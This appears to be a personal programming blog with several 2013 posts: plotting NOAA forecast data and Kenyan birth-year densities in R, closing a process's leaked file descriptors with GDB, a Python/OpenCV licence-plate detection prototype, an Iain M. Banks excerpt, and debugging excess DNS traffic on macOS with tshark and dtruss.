contour(x,y,land,add=TRUE,lwd=1,levels=0.99,drawlabels=FALSE,col="grey30") #add land outlineland2 <- get.var.ncdf(landFrac2, "LAND_surface")
dev.off()
view raw noaa_gfs.R hosted with ❤ by GitHub

Saturday, March 30, 2013

Playing with data from NOAA Global Forecast System using python

Bugger! Blogger barfs out an error when I attempt to upload my ipython notebook. You can find the notebook on github or as a rendered html here.

Here are some pretty generated images:
Horn of Africa zoomed in (Mar 27 2013)

Global 2M temperature in degrees C (Mar 27 2013)

Thursday, March 28, 2013

Kenya DOB density plot

Here is a density plot of a sample of Kenyans  based on their year of birth. It's interesting to see the dips correlate with turbulent times; political and military. In the diagram below, the largest unexplained dip is in the early 1970s. Anyone care to explain it; Google and Wikipedia don't return any results?
Click here for a larger image

EDIT:
Could it be the 1969 Kisumu incident?



 


Here is the code used to produce the graph in R
require(ggplot2)
# load the data and cast the dob into dates
data <- read.table("/tmp/data.raw")
names(data) <- c("dob")
data$dob_date <- as.Date(as.character(data$dob), "%Y")
# build graph and preview
p = ggplot(data, aes(dob_date))
p = p + geom_density()
p = p + scale_x_date(breaks = "5 year", minor_breaks = "1 year", labels = date_format("%Y"))
p + annotate("text", x = as.Date("1952", "%Y"), y=0, label = "MauMau", angle=90, hjust=0, size = 5) + annotate("text", x = as.Date("1941", "%Y"), y=0, label = "WW2", angle=90, hjust=0, size = 5) + annotate("text", x = as.Date("1963", "%Y"), y=0, label = "Independence", angle=90, hjust=0, size = 5) + annotate("text", x = as.Date("1982", "%Y"), y=0, label = "Coup attempt", angle=90, hjust=0, size = 5)
#save to png
png("/tmp/kenya_population_density.png", 1600, 800)
p + annotate("text", x = as.Date("1952", "%Y"), y=0, label = "MauMau", angle=90, hjust=0, size = 5) + annotate("text", x = as.Date("1941", "%Y"), y=0, label = "WW2", angle=90, hjust=0, size = 5) + annotate("text", x = as.Date("1963", "%Y"), y=0, label = "Independence", angle=90, hjust=0, size = 5) + annotate("text", x = as.Date("1982", "%Y"), y=0, label = "Coup attempt", angle=90, hjust=0, size = 5)
dev.off()

Wednesday, February 27, 2013

Hotfix for leaking filedescriptors

I just came across this neat gdb trick. Say you have a badly written program that's leaking file descriptors all over.. and it's in prod (the horror!) and it's imperative that you let it limp along till the patched binary comes around... GDB can close the file descriptors for you!

Here's how:

Leaky Program
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void open_file(char *filename)
{
FILE *fd = fopen(filename, "r");
}
int main(void)
{
char filename[FILENAME_MAX];
strcpy(filename, "/etc/passwd");
int iteration = 0;
while (1) {
iteration++;
printf("Iteration %d\n", iteration);
open_file(filename);
sleep(60);
}
return 0;
}
view raw leaky.c hosted with ❤ by GitHub


Lsof tells it all. Take note of the two open descriptors to /etc/passwd
$ lsof -p $(pgrep leaky)
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
leaky 16095 laban cwd DIR 0,30 4096 10936796 /home/laban/devel/private/learning/c/leak_descriptors
leaky 16095 laban rtd DIR 252,1 4096 2 /
leaky 16095 laban txt REG 0,30 11267 10919599 /home/laban/devel/private/learning/c/leak_descriptors/leaky
leaky 16095 laban mem REG 252,1 1811128 19136595 /lib/x86_64-linux-gnu/libc-2.15.so
leaky 16095 laban mem REG 252,1 149280 19136932 /lib/x86_64-linux-gnu/ld-2.15.so
leaky 16095 laban 0u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 1u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 2u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 3r REG 252,1 2667 1575354 /etc/passwd
leaky 16095 laban 4r REG 252,1 2667 1575354 /etc/passwd
view raw lsof hosted with ❤ by GitHub


Playing around with variables in GDB. Can you guess why we chose the magic value 2147483646? For a hint, look at the last gist in this post
$ sudo gdb -p $(pgrep leaky)
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>.
Attaching to process 16095
Reading symbols from /home/laban/devel/private/learning/c/leak_descriptors/leaky...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/libc-2.15.so...done.
done.
Loaded symbols for /lib/x86_64-linux-gnu/libc.so.6
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.15.so...done.
done.
Loaded symbols for /lib64/ld-linux-x86-64.so.2
0x00007f253e7cf820 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb)
(gdb) bt
#0 0x00007f253e7cf820 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82
#1 0x00007f253e7cf6dc in __sleep (seconds=0) at ../sysdeps/unix/sysv/linux/sleep.c:138
#2 0x0000000000400620 in main () at leaky.c:21
(gdb) up
#1 0x00007f253e7cf6dc in __sleep (seconds=0) at ../sysdeps/unix/sysv/linux/sleep.c:138
138 ../sysdeps/unix/sysv/linux/sleep.c: No such file or directory.
(gdb) up
#2 0x0000000000400620 in main () at leaky.c:21
21 sleep(60);
(gdb) set filename="/etc/group"
...
... Awhile later
...
(gdb) set iteration=4
...
... Awhile later
...
(gdb) set iteration=2147483646
(gdb) p iteration
$1 = 2147483646
(gdb) quit
A debugging session is active.
Inferior 1 [process 16095] will be detached.
Quit anyway? (y or n) y
Detaching from program: /home/laban/devel/private/learning/c/leak_descriptors/leaky, process 16095
view raw gistfile1.txt hosted with ❤ by GitHub


What does lsof think?
$ lsof -p $(pgrep leaky)
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
leaky 16095 laban cwd DIR 0,30 4096 10936796 /home/laban/devel/private/learning/c/leak_descriptors
leaky 16095 laban rtd DIR 252,1 4096 2 /
leaky 16095 laban txt REG 0,30 11267 10919599 /home/laban/devel/private/learning/c/leak_descriptors/leaky
leaky 16095 laban mem REG 252,1 1811128 19136595 /lib/x86_64-linux-gnu/libc-2.15.so
leaky 16095 laban mem REG 252,1 149280 19136932 /lib/x86_64-linux-gnu/ld-2.15.so
leaky 16095 laban 0u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 1u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 2u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 3r REG 252,1 2667 1575354 /etc/passwd
leaky 16095 laban 4r REG 252,1 2667 1575354 /etc/passwd
leaky 16095 laban 5r REG 252,1 1210 1575723 /etc/group
leaky 16095 laban 6r REG 252,1 1210 1575723 /etc/group
leaky 16095 laban 7r REG 252,1 1210 1575723 /etc/group
leaky 16095 laban 8r REG 252,1 1210 1575723 /etc/group
view raw lsof-output2.sh hosted with ❤ by GitHub


Bulk close of fds
Leaks all over the place
$ lsof -p $(pgrep leaky)
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
leaky 16095 laban cwd DIR 0,30 4096 10936796 /home/laban/devel/private/learning/c/leak_descriptors
leaky 16095 laban rtd DIR 252,1 4096 2 /
leaky 16095 laban txt REG 0,30 11267 10919599 /home/laban/devel/private/learning/c/leak_descriptors/leaky
leaky 16095 laban mem REG 252,1 1811128 19136595 /lib/x86_64-linux-gnu/libc-2.15.so
leaky 16095 laban mem REG 252,1 149280 19136932 /lib/x86_64-linux-gnu/ld-2.15.so
leaky 16095 laban 0u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 1u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 2u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 3r REG 252,1 2667 1575354 /etc/passwd
leaky 16095 laban 4r REG 252,1 2667 1575354 /etc/passwd
leaky 16095 laban 5r REG 252,1 1210 1575723 /etc/group
leaky 16095 laban 6r REG 252,1 1210 1575723 /etc/group
leaky 16095 laban 7r REG 252,1 1210 1575723 /etc/group
leaky 16095 laban 8r REG 252,1 1210 1575723 /etc/group
GDB closing fds
$ sudo gdb -p $(pgrep leaky)
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>.
Attaching to process 16095
Reading symbols from /home/laban/devel/private/learning/c/leak_descriptors/leaky...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/libc-2.15.so...done.
done.
Loaded symbols for /lib/x86_64-linux-gnu/libc.so.6
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.15.so...done.
done.
Loaded symbols for /lib64/ld-linux-x86-64.so.2
0x00007f253e7cf820 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) set $max=8
(gdb) set $current=3
(gdb) while ($current < $max)
> p close($current++)
>end
$5 = -1
$6 = 0
$7 = 0
$8 = 0
$9 = 0
(gdb) ^Z
[2]+ Stopped sudo gdb -p $(pgrep leaky)
What lsof thinks after GDB's done
$ lsof -p $(pgrep leaky)
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
leaky 16095 laban cwd DIR 0,30 4096 10936796 /home/laban/devel/private/learning/c/leak_descriptors
leaky 16095 laban rtd DIR 252,1 4096 2 /
leaky 16095 laban txt REG 0,30 11267 10919599 /home/laban/devel/private/learning/c/leak_descriptors/leaky
leaky 16095 laban mem REG 252,1 1811128 19136595 /lib/x86_64-linux-gnu/libc-2.15.so
leaky 16095 laban mem REG 252,1 149280 19136932 /lib/x86_64-linux-gnu/ld-2.15.so
leaky 16095 laban 0u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 1u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 2u CHR 136,19 0t0 22 /dev/pts/19
leaky 16095 laban 8r REG 252,1 1210 1575723 /etc/group
view raw gistfile1.txt hosted with ❤ by GitHub


Shell output from leaky
$ ./leaky
Iteration 1
Iteration 2
Iteration 5
Iteration 6
Iteration 2147483647
Iteration -2147483648
Iteration -2147483647
view raw gistfile1.txt hosted with ❤ by GitHub


Thursday, February 7, 2013

Gem of a fortune - I. M. Banks.

"Good afternoon, madam.  How may I help you?"

"Good afternoon.  I'd like a FrintArms HandCannon, please."

"A--?  Oh, now, that's an awfully big gun for such a lovely lady.  I
mean, not everybody thinks ladies should carry guns at all, though I
say they have a right to.  But I think... I might... Let's have a look
down here.  I might have just the thing for you.  Yes, here we are!
Look at that, isn't it neat?  Now that is a FrintArms product as well,
but it's what's called a laser -- a light-pistol some people call
them.  Very small, as you see; fits easily into a pocket or bag; won't
spoil the line of a jacket; and you won't feel you're lugging half a
tonne of iron around with you.  We do a range of matching accessories,
including -- if I may say so -- a rather saucy garter holster.  Wish I
got to do the fitting for that!  Ha -- just my little joke.  And
there's *even*... here we are -- this special presentation pack: gun,
charged battery, charging unit, beautiful glider-hide shoulder holster
with adjustable fitting and contrast stitching, and a discount on your
next battery.  Full instructions, of course, and a voucher for free
lessons at your local gun club or range.  Or there's the *special*
presentation pack; it has all the other one's got but with *two*
charged batteries and a night-sight, too.  Here, feel that -- don't
worry, it's a dummy battery -- isn't it neat?  Feel how light it is?
Smooth, see?  No bits to stick out and catch on your clothes, *and*
beautifully balanced.  And of course the beauty of a laser is, there's
no recoil.  Because it's shooting light, you see?  Beautiful gun,
beautiful gun; my wife has one.  Really.  That's not a line, she
really has.  Now, I can do you that one -- with a battery and a free
charge -- for ninety-five; or the presentation pack on a special
offer for one-nineteen; or this, the special presentation pack, for
one-forty-nine."

"I'll take the special."

"Sound choice, madam, *sound* choice.  Now, do--?"

"And a HandCannon, with the eighty-mill silencer, five GP clips, three
six-five AP/wire-flechettes clips, two bipropellant HE clips, and a
Special Projectile Pack if you have one -- the one with the embedding
rounds, not the signalers.  I assume the night-sight on this toy is
compatible?"

"Aah... yes,  And how does madam wish to pay?"

She slapped her credit card on the counter.  "Eventually."

        -- Iain M. Banks, "Against a Dark Background"

Wednesday, February 6, 2013

Automatic number plate detection

ALPR stands for automatic license plate recognition. The process typically consists of:
  • Identifying potential license plate candidates from an image.
  • Ranking the potential plate candidates and selecting the most likely one.
  •  Identifying alphanumeric characters and converting them to text.

The hardest part of this process is reliably acquiring the plate candidate image with variables such as:
  • Lighting conditions.
  • Camera angle.
  • Image noise
  • Variations in the type of plates.
  • Distance to plate; and consequently, the size of the plate in the image

In this article, I'll be going through a gist that works for a few images. I'll cover the literature review in a followup article.

Please note that this implementation has been developed and tested with very few samples; overfitting will probably reduce it's effectiveness.

#! /usr/bin/env python
import cv2
import numpy as np
import pymeanshift as pms
from blobs.BlobResult import CBlobResult
from blobs.Blob import CBlob # Note: This must be imported in order to destroy blobs and use other methods
#############################################################################
# so, here is the main part of the program
if __name__ == '__main__':
import sys
import os
blob_overlay = True
file_name = "plates/license1.png"
if len(sys.argv) != 1:
file_name = sys.argv[1]
base_name = os.path.basename(file_name)
fname_prefix = ".".join(base_name.split(".")[:-1])
print fname_prefix
# Image load & conversion to cvmat
license_plate = cv2.imread(file_name, cv2.CV_LOAD_IMAGE_COLOR)
# Segment
segmented, labels, regions = pms.segment(license_plate, 3, 3, 50)
print "Segmentation results"
print "%s: %s" % ("labels", labels)
print "%s: %s" % ("regions", regions)
cv2.imwrite('%s_segmented.png' % fname_prefix, segmented)
license_plate = cv2.imread('%s_segmented.png' % fname_prefix, cv2.CV_LOAD_IMAGE_COLOR)
license_plate_size = (license_plate.shape[1], license_plate.shape[0])
license_plate_cvmat = cv2.cv.fromarray(license_plate)
license_plate_ipl = cv2.cv.CreateImage(license_plate_size, cv2.cv.IPL_DEPTH_8U, 3)
cv2.cv.SetData(
license_plate_ipl,
license_plate.tostring(),
license_plate.dtype.itemsize * 3 * license_plate.shape[1])
license_plate_white_ipl = cv2.cv.CreateImage(license_plate_size, cv2.cv.IPL_DEPTH_8U, 1)
cv2.cv.Set(license_plate_white_ipl, 255)
# Grayscale conversion
inverted_license_plate_grayscale_ipl = cv2.cv.CreateImage(
license_plate_size,
cv2.cv.IPL_DEPTH_8U, 1)
license_plate_grayscale_ipl = cv2.cv.CreateImage(
license_plate_size,
cv2.cv.IPL_DEPTH_8U, 1)
cv2.cv.CvtColor(
license_plate_cvmat,
license_plate_grayscale_ipl,
cv2.COLOR_RGB2GRAY);
license_plate_grayscale_np = np.asarray(license_plate_grayscale_ipl[:,:])
# We can also use cv.saveimage
# cv2.cv.SaveImage('license1_grayscale.png', license_plate_grayscale_ipl)
cv2.imwrite('%s_grayscale.png' % fname_prefix, license_plate_grayscale_np)
# Thresholding or binarization of images
(threshold_value, thresh_image) = cv2.threshold(
license_plate_grayscale_np,
128,
255,
cv2.THRESH_BINARY | cv2.THRESH_OTSU)
print "Thresholding complete. Partition value is %d" % threshold_value
cv2.imwrite('%s_threshold.png' % fname_prefix, thresh_image)
# Create a mask that will cover the entire image
mask = cv2.cv.CreateImage (license_plate_size, 8, 1)
cv2.cv.Set(mask, 1)
#if not blob_overlay:
# # Convert black-and-white version back into three-color representation
# cv2.cv.CvtColor(my_grayscale, frame_cvmat, cv2.COLOR_GRAY2RGB);
# Blob detection
thresh_image_ipl = cv2.cv.CreateImage(license_plate_size, cv2.cv.IPL_DEPTH_8U, 1)
cv2.cv.SetData(
thresh_image_ipl,
thresh_image.tostring(),
thresh_image.dtype.itemsize * 1 * thresh_image.shape[1])
cv2.cv.Not(thresh_image_ipl, inverted_license_plate_grayscale_ipl)
# Min blob size and Max blob size
min_blob_size = 100 # Blob must be 30 px by 30 px
max_blob_size = 10000
threshold = 100
# Plate area as % of image area:
max_plate_to_image_ratio = 0.3
min_plate_to_image_ratio = 0.01
image_area = license_plate_size[0] * license_plate_size[1]
# Mask - Blob extracted where mask is set to 1
# Third parameter is threshold value to apply prior to blob detection
# Boolean indicating whether we find moments
myblobs = CBlobResult(thresh_image_ipl, mask, threshold, True)
myblobs.filter_blobs(min_blob_size, max_blob_size)
blob_count = myblobs.GetNumBlobs()
print "Found %d blob[s] betweeen size %d and %d using threshold %d" % (
blob_count, min_blob_size, max_blob_size, threshold)
for i in range(blob_count):
my_enumerated_blob = myblobs.GetBlob(i)
# print "%d: Area = %d" % (i, my_enumerated_blob.Area())
my_enumerated_blob.FillBlob(
license_plate_grayscale_ipl,
#license_plate_ipl,
#cv2.cv.Scalar(255, 0, 0),
cv2.cv.CV_RGB(255, 0, 0),
0, 0)
my_enumerated_blob.FillBlob(
license_plate_white_ipl,
#license_plate_ipl,
#cv2.cv.Scalar(255, 0, 0),
cv2.cv.CV_RGB(255, 255, 255),
0, 0)
# we can now save the image
#annotated_image = np.asarray(license_plate_ipl[:,:])
blob_image = np.asarray(license_plate_grayscale_ipl[:,:])
cv2.imwrite("%s_blobs.png" % fname_prefix, blob_image)
blob_white_image = np.asarray(license_plate_white_ipl[:,:])
cv2.imwrite("%s_white_blobs.png" % fname_prefix, blob_white_image)
# Looking for a rectangle - Plates are rectangular
# Thresholding image, the find contours then approxPolyDP
(threshold_value, blob_threshold_image) = cv2.threshold(
blob_white_image,
128,
255,
cv2.THRESH_BINARY | cv2.THRESH_OTSU)
print "Thresholding complete. Partition value is %d" % threshold_value
cv2.imwrite('%s_blob_threshold.png' % fname_prefix, blob_threshold_image)
# Blur to reduce noise?
#blurred_plate = cv2.GaussianBlur(blob_threshold_image, (5,5), 0)
#blob_threshold_image = blurred_plate
# Erode then dilate to reduce noise
blob_threshold_image_invert = cv2.bitwise_not(blob_threshold_image)
cv2.imwrite("%s_pre_dilated_and_eroded.png" % fname_prefix, blob_threshold_image_invert)
eroded_white_blobs = cv2.erode(blob_threshold_image_invert, None, iterations=4);
cv2.imwrite("%s_eroded_image.png" % fname_prefix, eroded_white_blobs)
dilated_white_blobs = cv2.dilate(eroded_white_blobs, None, iterations=4);
cv2.imwrite("%s_dilated.png" % fname_prefix, dilated_white_blobs)
blob_threshold_image = cv2.bitwise_not(blob_threshold_image_invert)
cv2.imwrite("%s_dilated_and_eroded.png" % fname_prefix, blob_threshold_image)
blob_threshold_image_invert = cv2.bitwise_not(blob_threshold_image)
contours, hierarchy = cv2.findContours(
blob_threshold_image,
cv2.RETR_LIST,
cv2.CHAIN_APPROX_SIMPLE)
#print "Contours: ", contours
# We now have contours. Approximate the polygon shapes
largest_rectangle_idx = 0
largest_rectangle_area = 0
rectangles = []
colours = ( (255,0,0), (0,255,0), (0,0,255), (255,255,0), (0,255,255))
for idx, contour in enumerate(contours):
print "Contour: %d" % idx
contour_area = cv2.contourArea(contour)
if float(contour_area / image_area) < min_plate_to_image_ratio:
print "Contour %d under threshold. Countour Area: %f" % (idx, contour_area)
continue
elif float(contour_area / image_area) > max_plate_to_image_ratio:
print "Contour %d over threshold. Countour Area: %f" % (idx, contour_area)
continue
approx = cv2.approxPolyDP(
contour,
0.02 * cv2.arcLength(contour, True),
True)
print "\n -"
print "%d. Countour Area: %f, Arclength: %f, Polygon %d colour:%s" % (idx,
contour_area,
cv2.arcLength(contour, True),
len(approx),
colours[idx%len(colours)])
minarea_rectangle = cv2.minAreaRect(contour)
minarea_box = cv2.cv.BoxPoints(minarea_rectangle)
print "> ", minarea_rectangle
print ">> ", minarea_box
centre, width_and_height, theta = minarea_rectangle
aspect_ratio = float(max(width_and_height) / min(width_and_height))
print " aspect ratio: %f for %s " % (aspect_ratio, width_and_height)
minarea_box = np.int0(minarea_box)
cv2.drawContours(license_plate, [minarea_box], 0, (255,0,255), 2)
cv2.drawContours(
license_plate,
[contours[idx]],
0,
colours[idx%len(colours)])
# Aspect ratio removal
if aspect_ratio < 3 or aspect_ratio > 5:
print " Aspect ratio bounds fails"
continue
# Rectangles have polygon shape 4
if len(approx) == 4:
# Select the largest rect
rectangles.append(contour)
if contour_area > largest_rectangle_area :
largest_rectangle_area = contour_area
largest_rectangle_idx = idx
print "Probable plate hit is %d" % largest_rectangle_idx
cv2.drawContours(
license_plate,
[contours[largest_rectangle_idx]],
0,
colours[0],
idx + 1)
cv2.imwrite("%s_contours_colored.png" % fname_prefix, license_plate)
# Create a mask for the detected plate
#hull = cv2.convexHull(contours[largest_rectangle_idx])
# This bounding rectangle does not consider rotation
license_plate = cv2.imread(file_name, cv2.CV_LOAD_IMAGE_COLOR)
bounding_rectangle = cv2.boundingRect(contours[largest_rectangle_idx])
b_rect_x, b_rect_y, b_rect_w, b_rect_h = bounding_rectangle
plate_rectangle = (b_rect_x, b_rect_y, b_rect_w, b_rect_h)
print "Plate rectangle is: ", plate_rectangle
cv2.rectangle(license_plate, (b_rect_x, b_rect_y), (b_rect_x + b_rect_w, b_rect_y + b_rect_h), (0, 255, 0), 2)
cv2.imwrite("%s_bounding_box.png" % fname_prefix, license_plate)
license_plate = cv2.imread(file_name, cv2.CV_LOAD_IMAGE_COLOR)
minarea_rectangle = cv2.minAreaRect(contours[largest_rectangle_idx])
minarea_box = cv2.cv.BoxPoints(minarea_rectangle)
minarea_box = np.int0(minarea_box)
cv2.drawContours(license_plate, [minarea_box], 0, (0,0,255), 2)
cv2.imwrite("%s_bounding_box_minarea.png" % fname_prefix, license_plate)
view raw alpr.py hosted with ❤ by GitHub

  1. Load an image using opencv and python (Line 33)
  2. Run mean shift segmentation (I haven't evaluated the effectiveness of this) and save the image.
  3. Use the segmented image as the camera image.
  4. Convert the camera image (defaults as a numpy array) into OpenCV Mat and an IPL image (CV2 can work with numpy arrays. Plain old cv requires an IPL or Mat object).
  5. Convert the camera image into grayscale.
  6. Conduct thresholding on the image (Line 76). This means that pixels that are above the threshold become white and below black. This process is also called binarization.
  7. Create a mask that will be used for blob extraction that covers the entire image; setting all the pixels to 1 means that the mask will be applied everywhere.
  8. Invert the binarized image. License plates are mostly white with a few characters in black. Inversion means that the plate becomes mostly black with a few white character strokes (Line 94).
  9. Blob detection parameters. We don't want very small or very large blobs.
  10. Do the actual blob detection (Line 115).
  11. Iterate over the grayscale image adding an RGB color << this is a bug
  12. Mark potential blobs as black in a white image (Line 131).
  13. Another threshold step << This is probably unnecessary.
  14. Dilation and erosion to clean up the image << probably unnecessary.
  15. Find contours over the black images.
  16. For each contour, try and estimate it's overall shape. triangle? rectangle? n-gon (Line 196)? after eliminating very small and very large contours.
  17. Draw a bounding box.
  18. Calculate an estimate of the aspect ratio. Plates have a W/H ratio of 1 to 5
  19. Off the cuff heuristic. Largest rectangle that has an acceptable aspect ratio and is a rectangle is probably a plate. This is not always true. You might much a window or a large rectangular object...
  20. For the selected plate candidate, draw a bounding rect
Here are the results:
Segmented image
Thresholded image
Grayscale conversion

Blobs on a white image
Effects of erosion on an image
Effects of dilation on an image

Plate candidates - from contours
Min area box over plate candidate
Bounding box over plate candidate
And here are more images from a few more tests in picassa:

Tuesday, January 22, 2013

OSX: Y U No like 3G?

I recently came across an issue where my laptop would consume copious amounts of bandwidth. On average, the idle laptop would slurp up about 8MB of traffic/hour. In a day, that's ~ 100 MB of data gone.

In S. Africa and on 3G, this is prohibitively expensive. How expensive?
I am on Telkom 8ta, which charges
~ 40 Rand/100MB == 6USD/100MB. 
Scaling up this cost to a month adds up to
180USD/Month for ~ 3GB of data

 Obviously, this is a problem!

 So let's find out what's going on....

Tcpdump


21 Machine:~ username$ sudo su
20 Password:
19 sh-3.2# tshark -i en1 -c 100 port 53
18 Capturing on en1
17 0.000000 192.168.1xx.2 -> 192.168.1xx.101 DNS 158 Standard query response 0x6999 No such name
16 0.041892 192.168.1xx.2 -> 192.168.1xx.101 DNS 158 Standard query response 0x6ed6 No such name
15 0.042998 192.168.1xx.101 -> 192.168.1xx.2 DNS 86 Standard query 0x8c6a A abc-123.xyz.companyx.com
14 0.043129 192.168.1xx.101 -> 192.168.1xx.2 DNS 86 Standard query 0xd8ab AAAA abc-123.xyz.companyx.com
13 0.307251 192.168.1xx.2 -> 192.168.1xx.101 DNS 147 Standard query response 0xd8ab No such name
12 0.307628 192.168.1xx.101 -> 192.168.1xx.2 DNS 101 Standard query 0x06b4 AAAA abc-123.xyz.companyx.com.xyz.companyx.com
11 0.307732 192.168.1xx.2 -> 192.168.1xx.101 DNS 147 Standard query response 0x8c6a No such name
10 0.307980 192.168.1xx.101 -> 192.168.1xx.2 DNS 101 Standard query 0x0258 A abc-123.xyz.companyx.com.xyz.companyx.com
9 0.504638 192.168.1xx.2 -> 192.168.1xx.101 DNS 162 Standard query response 0x06b4 No such name
8 0.504871 192.168.1xx.101 -> 192.168.1xx.2 DNS 97 Standard query 0x3579 AAAA abc-123.xyz.companyx.com.companyx.com
7 0.517008 192.168.1xx.2 -> 192.168.1xx.101 DNS 162 Standard query response 0x0258 No such name
6 0.517223 192.168.1xx.101 -> 192.168.1xx.2 DNS 97 Standard query 0xddf6 A abc-123.xyz.companyx.com.companyx.com
5 0.691122 192.168.1xx.2 -> 192.168.1xx.101 DNS 158 Standard query response 0xddf6 No such name
4 0.713513 192.168.1xx.2 -> 192.168.1xx.101 DNS 158 Standard query response 0x3579 No such name
3 0.714719 192.168.1xx.101 -> 192.168.1xx.2 DNS 86 Standard query 0xc20c A abc-124.xyz.companyx.com
2 0.714860 192.168.1xx.101 -> 192.168.1xx.2 DNS 86 Standard query 0x2edf AAAA abc-124.xyz.companyx.com
1 1.012694 192.168.1xx.2 -> 192.168.1xx.101 DNS 147 Standard query response 0xc20c No such name
0 1.012943 192.168.1xx.101 -> 192.168.1xx.2 DNS 101 Standard query 0x98f4 A abc-124.xyz.companyx.com.xyz.companyx.com
view raw gistfile1.txt hosted with ❤ by GitHub
Hmm, 5 similar queries? Obviously, there's something stuck in a dns lookup loop. This is not cool at all. If we do some math, the dns traffic adds up to the extra traffic that my 3G dongle is reporting.
# Capture 100 Packets
sh-3.2# tshark -i en1 -c 100 -s0 -w dns.pcap port 53
Capturing on en1
100
# Pcap Size
sh-3.2# du -sh dns.pcap
16K dns.pcap
# 100 Packets to a text file
sh-3.2# tshark -i en1 -c 100 port 53 | tee dns.txt
Capturing on en1
100 packets captured
....
# Number of queries in the capture. 50 queries, 50 responses.
sh-3.2# grep -v resp dns.txt | wc -l
50
# Example entry
sh-3.2# grep -v resp dns.txt | head -n 1
0.005333 192.168.1xx.101 -> 192.168.1xx.2 DNS 87 Standard query 0x707f A XXXXXXXXXXXXXX
# At a rate of 20 packets/sec (10 queries per sec, 10 responses/sec) =~ (100/5.08)
sh-3.2# head -n 1 dns.txt ; tail -n 1 dns.txt ; wc -l dns.txt
0.000000 192.168.1xx.2 -> 192.168.1xx.101 DNS 159 Standard query response 0xe333 No such name
5.082457 192.168.1xx.101 -> 192.168.1xx.2 DNS 87 Standard query 0x2d3d AAAA XXXXXXXXXXXXXX
100 dns.txt
# Count number of bytes
sh-3.2# awk 'BEGIN{bytes=0}{bytes = bytes + $6} END{print "SUM "bytes" averages to "bytes/100 " bytes/pkt";}' dns.txt
SUM 12604 averages to 126.04 bytes/pkt
# So, we got 12,600 bytes in 5 seconds. Multiply this by 12 to get the byte/minute rate, then by 60 minutes/hour.
sh-3.2# echo "12604 * 12 * 60 / (1024*1024)" | bc -l
8.65447998046875000000
# That's 8.6 Mb/hour of DNS traffic
view raw gistfile1.sh hosted with ❤ by GitHub
So how do we find out which process generates this data? We can use little snitch or better, use dtrace which comes in bundled with OSX.

DTrace


Dtrace allows you to hook up a probe that get's called once your kernel function is called. For example, say you know that all udp traffic in your box is generated via a specific syscall, you can 'watch' this syscall and generate some statistics around this.. (Basing this description on systemtap). So let's find out how a typical dns lookup works. The easiest program I can think that does dnslookup is nslookup. So let's truss up nslookup
# dtruss: an strace equivalent for OSX
# dtruss nslookup www.google.com
Server: 192.168.1xx.2
Address: 192.168.1xx.2#53
Non-authoritative answer:
Name: www.google.com
Address: 197.80.128.24
SYSCALL(args) = return
issetugid(0x10B3CC000, 0x7FFF6AFCBD50, 0x7FFF6AFCBC00) = 0 0
...
...
open_nocancel("/dev/random\0", 0x0, 0x0) = 4 0
read_nocancel(0x4, "V\370\3xxxxxxxxxxx", 0x80) = 128 0
close_nocancel(0x4) = 0 0
open_nocancel("/dev/random\0", 0x0, 0x0) = 4 0
read_nocancel(0x4, "4#\207F\n\336V2xxxxxxx", 0x80) = 128 0
close_nocancel(0x4) = 0 0
socket(0x2, 0x2, 0x11) = 4 0
fcntl(0x4, 0x0, 0x14) = 20 0
close(0x4) = 0 0
fcntl(0x14, 0x3, 0x0) = 2 0
fcntl(0x14, 0x4, 0x6) = 0 0
setsockopt(0x14, 0xFFFF, 0x1022) = 0 0
setsockopt(0x14, 0xFFFF, 0x400) = 0 0
getsockopt(0x14, 0xFFFF, 0x1002) = 0 0
bind(0x14, 0x10B55C410, 0x10) = 0 0
recvmsg(0x14, 0x7FFF6AFCB930, 0x0) = -1 Err#35
kevent(0x3, 0x7FFF6AFCBA60, 0x1) = 0 0
sendmsg(0x14, 0x7FFF6AFCB8E0, 0x0) = 32 0
kevent(0x3, 0x0, 0x0) = 0 0
kevent(0x3, 0x0, 0x0) = 1 0
kevent(0x3, 0x7FFF6AFCBA90, 0x1) = 0 0
